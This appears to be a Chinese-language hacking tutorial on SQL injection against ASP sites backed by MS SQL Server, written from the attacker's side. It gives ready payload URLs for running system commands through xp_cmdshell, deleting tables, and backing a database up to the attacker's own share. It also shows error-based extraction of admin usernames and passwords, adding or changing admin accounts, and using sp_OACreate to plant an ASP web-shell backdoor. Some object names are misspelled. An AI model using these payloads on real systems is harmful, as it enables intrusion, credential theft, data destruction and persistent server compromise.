运用master..Xp_cmdshell,扩展，我们就可以在目标主机上执行任意命令的，类似的还有xp_startmail, xp_sendmail, sp_makewebtask，具体的用法和master..Xp_cmdshell差不多，我在这里就不多说了。需要指明的是这种攻击方法的前提条件是ASP用管理员账号，所以虚拟空间大家就别试了，不会存在这个漏洞的。
　　以后我们会讨论，如果对方的ASP不是用SQL管理员账号的时候，我们应该如何攻击。
【对数据库的攻击】
通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限。大家可以试试看
http://jsw/something.asp?newid=117;select 123;--
呵呵，报语法错误，select 123 错误，显而易见，这个ASP在newid变量后面用'号结束
那么试试看http://jsw/something..asp?newid=117';delete news;--
哈哈，我想只要表名猜对了，数据库里面的信息就被删了。
还有一种的作法，就是提交
news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
呵呵，你的_blank">防火墙该发出警告了，有人连接你的 445 或 139(win9 端口了，

这样，对方的SQL的ip一样也可以暴露，其实backuo database到你的硬盘还是有点夸张了，如果对方数据库很庞大，你又是拨号上网，呵呵，劝你别试了，很难成功传输的。

【从数据库中提取任意信息】
这是本文要简单的一个重要的部分。一般来说，用于查询数据的SQL语句会用到以下的这种格式：
someting.asp:
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
那么我们向包含以上代码的ASP文件提交
http://jsw/index.asp?category=food'or 1=1--'
切换到程序中后变成
SELECT * FROM product WHERE PCategory='food' or 1=1--'
也就是说我们可以提交一些非法的值给这个ASP脚本，使它执行我们想要的SQL语句。
下面我用一个攻击过程来说明SQL injection的利用方法。
在使用SQL injection攻击的时候，我们首先要得到目标数据库的结构，提交
http://jsw/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
INFORMATION_SCHEMA.TABLES包含的是数据库上的所有表名，我们提交的SQL语句为
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—
主要是用来得到数据库上的第一个表名。当MS SQL Server尝试去执行这个语句的时侯将返回以下的信息：

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'syssegments' to a column of data type int.
/index.asp, line 5

而这种ODBC的错误信息恰好包含了我们想要的内容。现在我们得到可数据库中的第一个表名："syssegments"这是建立数据库后系统自动生成的，接下来我们继续提交：
http://jsw/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('syssegments')--
可以得到下一个表名
当然，我们也可以通过LIKE对数据库进行查询：

http://jsw/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME
LIKE '%25login%25'--

返回：

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’admin_login’ to a column of data type int.
/index.asp, line 5

在SQL SERVER中，’%25login%25’ 将会被替换为 %login% 。这样我们同样可以得到了数据库中的第一个表名。我们再来提取admin_login表中的数据分类。
http://jsw/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’--
返回：
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’login_id’ to a column of data type int.
/index.asp, line 5

ODBC 信息中的“admin_login”便是第一个分类内容，要得到其他的分类，还可以使用
http://jsw/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’)--

返回：

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’login_name’ to a column of data type int.
/index.asp, line 5

类似的还有：
http://jsw/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’,’login_name’,’password’,details’)--
现在我们来开始提取数据库中的帐号和密码，先从admin_login表中得到第一个login_name。
提交：
http://jsw/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
返回的信息：
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’neo’ to a column of data type int.
/index.asp, line 5
很显然，数据库中的第一个“login_name”为neo。看看他的密码是什么：

http://jsw/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'—
返回：
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'pilv' to a column of data type int.
/index.asp, line 5
也就是说用户neo的密码为pilv。
【象数据库的内容进行添加和需改】
要向数据库中提交或者修改数据，我们通常会用到INSERT和 UPDATE命令。
例如，向数据库中添加信息：
http://jsw/index.asp?id=10; INSERT INTO 'admin_login'
('login_id', 'login_name', 'password', 'details') VALUES
(666,'neo2','newpas5','NA')—
这样我们便成功的在数据库中增加了一个用户neo2，密码为newpas5。

向数据库中修改数据用到的是 UPDATE 命令，例如更换 neo 的密码：

http://jsw/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'—-
这个语句的意思我想大家一定明白了吧。
【其他】
与 OLE Automation/COM 物件相关的延伸预存程序：
SQL Server 提供了一组存取伺服器外部 OLE 物件相关的预存程序。它们分别是：

sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop

你可以用它们来建立 OLE 物件(一般 COM 物件就可以了，但要支援 IDispatch 介面)，执行物件的方法，读取与修改属性，进行错误处理。但它们无法回应一般 OLE 或 COM 物件的事件。有了 COM/OLE 物件的建立与执行，对於控制系统来说可算是如虎添翼，无所不能了。稍举个例子，我们可以利用它来取得有兴趣的网页的原始码：

';DECLARE @shell INT EXEC SP_OACREATE 'wscripq.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c type c:/inetpub/wwwroot/sqlinject/login.asp > c:/inetpub/wwwroot/sqlinject/test.txt'--

利用 scripqing.FileSystemObject 来建立一个 ASP 网页后门：

’;DECLARE @fs int,@fi int
EXEC SP_OACREATE ’scripqing.FileSystemObject’,@fs OUTPUT
EXEC SP_OAMETHOD @fs,’CreateTextFile’,@fs
OUTPUT,’C:/InetPub/WWWRoot/SQLInject/Shell.asp’,1
EXEC SP_OAMETHOD @fs,’WriteLine’,null,’<% Set
objShell=Server.CreateObject("Wscripq.Shell") : objShell.Run Request("cmd") %>’

建立 ASP 後门网页。从此透过 URL 就可以执行任何执行档，范例如下：
sqlinject/shell.asp?cmd=C:/WINNT/system32/cmd.exe">http://localhost/sqlinject/she
ll.asp?cmd=C:/WINNT/system32/cmd.exe /c type
c:/inetpub/wwwroot/sqlinject/login.asp > c:/inetpub/wwwroot/sqlinject/test.txt

读取服务器的系统信息：
’union select @@version,1,1--
’union select @@version,1,1--

其他相关的延伸预存程序：
xp_dirtree ：显示某个目录下的子目录与档案架构
例子：xp_dirtree ’c:/inetpub/wwwroot/’
xp_ntsec_enumdomains：列出服务器域名名称
例子：xp_ntsec_enumdomains
xp_terminate_process：停掉某个执行中的程序，但赋予的参数是 Process ID
例子：xp_terminate_process 2484